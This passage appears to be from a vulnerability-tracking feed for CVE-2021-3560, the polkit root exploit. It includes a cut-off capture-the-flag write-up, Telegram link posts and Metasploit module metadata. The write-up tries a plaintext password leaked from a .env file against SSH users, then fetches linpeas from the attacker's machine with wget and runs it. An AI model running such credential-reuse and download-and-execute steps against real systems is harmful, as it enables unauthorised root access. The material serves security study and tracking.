account.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ9KTXy8U0NtSPNTgcSKm6KteH8_U2jxzFFQMAWw37lAaubUMg6tIRDJmA_HWfGZCJgCL0jjPT7A12zhc88qA7ObSTT9nDW833TatC9oGVm0nAWF93bvSEMUekByd9WBGHticCYxgRneVfb9cPvrhZxI1BI4Yj59MWXf_e0KQEwLVvoXbfGAA8Bt-N2Q/s16000/18.png?w=640&ssl=1 \n\nNow we know the importance of the environment files in a Linux distribution. Let\u2019s check .env file to test the theory we have discussed above. We can view the file contests by providing directory path and the file name with file command.\nfile ../hubot/.env \nAs we can see a plain texted password from the .env file. We got the password but not the username so, from the penetration testing methodology we can check this password against all users that we have seen in the messages. We tested obtained password on SSH service against all users and got success on Dwight. \nUsername: dwight\nPassword: Queenofblad3s!23 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilQwsSiUpOqjs59eEf_i8kkzGL_qjLHV5HMniVMxW0coxAe4EzVY7NkVneF9B9VrkVJEf3oDbeMR1VGrq462wOhty2UlQdjh9tyBxyZgWM4jGATuCMHoFMdi6542pnVC5c-h8zFdqQY4Kz-rcDDlS5WFqgZTIjXaXVvAmWQEByaBy6d-qiYqsDjAQopA/s16000/19.png?w=640&ssl=1 User flagWe successfully logged in via SSH as Dwight into the target machine. We can grab the user flag from the user home directory. Also, we need to escalate privilege, so we transferred linpeas script into the target /tmp directory. Please note, we need to setup the python server into our kali machine to transfer the script to the target machine.\u00a0 Also, we have given full permission to the linpeas script to execute it. For more information about Linux file permissions, feel free to visit the below link: https://www.guru99.com/file-permissions.html#:~:text=Linux%20divides%20the%20file%20permissions,ownership%20of%20a%20file%2Fdirectory.\nssh dwight@10.129.74.162\npython3\u00a0-m\u00a0http.server\u00a080\nwget\u00a010.10.14.12/linpeas.sh\nchmod\u00a0777\u00a0linpeas.sh\u00a0\n./linpeas.sh \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-R3hL-Kzo8T3kNW4gxUPx71lRs4h020ChnU55hHg8nKoBJnUeTF5FgygLbBkWtPKJzA4IuHYpMtXZiIGj48ZX2iJh5izxKl3VdlaOTOa2hcAapBLJeSjS9j5ZFxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png?w=640&ssl=1 Privilege EscalationFrom the linpeas output, we saw few CVEs appear as red which means these CVEs could be potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications. PolicyKit Exploit: CVE-2021-3560After searching those exploits, we found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits work similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Ha[...]", "creation_timestamp": "2026-09-06T00:01:01.567637Z"}, {"uuid": "416166a9-403e-4307-8dd5-4fd17120730a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "Telegram/OfhVuefsoKRdr0Dsr__JpyZdyxpoDA5ij7MfO8O_RItQOyo", "content": "", "creation_timestamp": "2026-09-06T00:01:03.943547Z"}, {"uuid": "1ae4b2af-da4f-47b9-9b75-48144027f434", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/34461", "content": "Exploit Collector\nPolkit CVE-2021-3560 Research\n\nhttps://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png \nThis document covers a vulnerability in policy kit (polkit) used on many Linux distributions, which enables an unprivileged local user to get a privileged shell (root) on the system by manually sending dbus messages to the dbus-daemon, then killing the request before it has been fully processed.\n\nMD5 | 26b6cdb7066c00f38cf20509e706052f\n\nDownload\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-07T01:00:05.384364Z"}, {"uuid": "30cc0954-7801-4128-a10a-f12fb6d34224", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"Kevin Backhouse\", \"Spencer McIntyre\", \"jheysel-r7\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"A vulnerability exists within the polkit system service that can be leveraged by a local, unprivileged\\n          attacker to perform privileged operations. In order to leverage the vulnerability, the attacker invokes a\\n          method over D-Bus and kills the client process. This will occasionally cause the operation to complete without\\n          being subjected to all of the necessary authentication.\\n          The exploit module leverages this to add a new user with a sudo access and a known password. The new account\\n          is then leveraged to execute a payload with root privileges.\", \"disclosure_date\": \"2021-06-03\", \"fullname\": \"exploit/linux/local/polkit_dbus_auth_bypass\", \"is_install_path\": true, \"mod_time\": \"2022-11-25 15:13:57 +0000\", \"name\": \"Polkit D-Bus Authentication Bypass\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"config-changes\", \"ioc-in-logs\", \"screen-effects\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": true, \"rank\": 600, \"ref_name\": \"linux/local/polkit_dbus_auth_bypass\", \"references\": [\"URL-https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/\", \"CVE-2021-3560\", \"EDB-50011\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"Automatic\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:11.116394Z"}, {"uuid": "2535d497-74b2-4c3d-905b-e923cf7b9c24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/cissp/3390", "content": "A newly discovered 7-year-old Polkit vulnerability (CVE-2021-3560) could allow unprivileged Linux users to gain root access on target systems.\n\nRead: https://thehackernews.com/2021/06/7-year-old-polkit-flaw-lets.html", "creation_timestamp": "2026-09-11T04:00:05.066582Z"}, {"uuid": "a00b0cb9-3e71-42dd-956c-5b76c9795e03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3394", "content": "Cloud Security\nPhishing for AWS credentials via AWS SSO device code authentication\ud83d\ude0a\nhttps://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication\n\nRed_ eam Tactics\n1. Insecure Deserialization and extraction of admin password\nhttps://infosecwriteups.com/insecure-deserialization-web-challenges-part-1-7d1b7339ca\n2. On how to access (protected) networks\nhttps://s3cur3th1ssh1t.github.io/On-how-to-access-protected-networks\n\nexploit\nCVE-2021-3560:\nPrivilege escalation with polkit: How to get root on Linux with a seven-year-old bug (PoC)\ud83d\ude01\ud83d\udc4d\ud83c\udffd\nhttps://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug\n\nThreat Research\n1. Abusing SIP VoIPmonitor GUI for Cross-Site Scripting\nhttps://www.rtcsec.com/post/2021/06/abusing-sip-for-cross-site-scripting-most-definitely\n2. macOS Monterey Shortcuts\nhttps://theevilbit.github.io/posts/monterey_shortcuts", "creation_timestamp": "2026-09-11T04:00:05.290450Z"}, {"uuid": "67f8587c-fb2c-405b-bc2f-35167b349b2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "seen", "source": "https://t.me/cissp/3390", "content": "A newly discovered 7-year-old Polkit vulnerability (CVE-2021-3560) could allow unprivileged Linux users to gain root access on target systems.\n\nRead: https://thehackernews.com/2021/06/7-year-old-polkit-flaw-lets.html", "creation_timestamp": "2026-09-12T00:00:53.482948Z"}, {"uuid": "2b2e8f68-392b-42c0-9433-8ee273b988c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/cissp/3394", "content": "Cloud Security\nPhishing for AWS credentials via AWS SSO device code authentication\ud83d\ude0a\nhttps://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication\n\nRed_ eam Tactics\n1. Insecure Deserialization and extraction of admin password\nhttps://infosecwriteups.com/insecure-deserialization-web-challenges-part-1-7d1b7339ca\n2. On how to access (protected) networks\nhttps://s3cur3th1ssh1t.github.io/On-how-to-access-protected-networks\n\nexploit\nCVE-2021-3560:\nPrivilege escalation with polkit: How to get root on Linux with a seven-year-old bug (PoC)\ud83d\ude01\ud83d\udc4d\ud83c\udffd\nhttps://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug\n\nThreat Research\n1. Abusing SIP VoIPmonitor GUI for Cross-Site Scripting\nhttps://www.rtcsec.com/post/2021/06/abusing-sip-for-cross-site-scripting-most-definitely\n2. macOS Monterey Shortcuts\nhttps://theevilbit.github.io/posts/monterey_shortcuts", "creation_timestamp": "2026-09-12T00:00:53.730891Z"}]}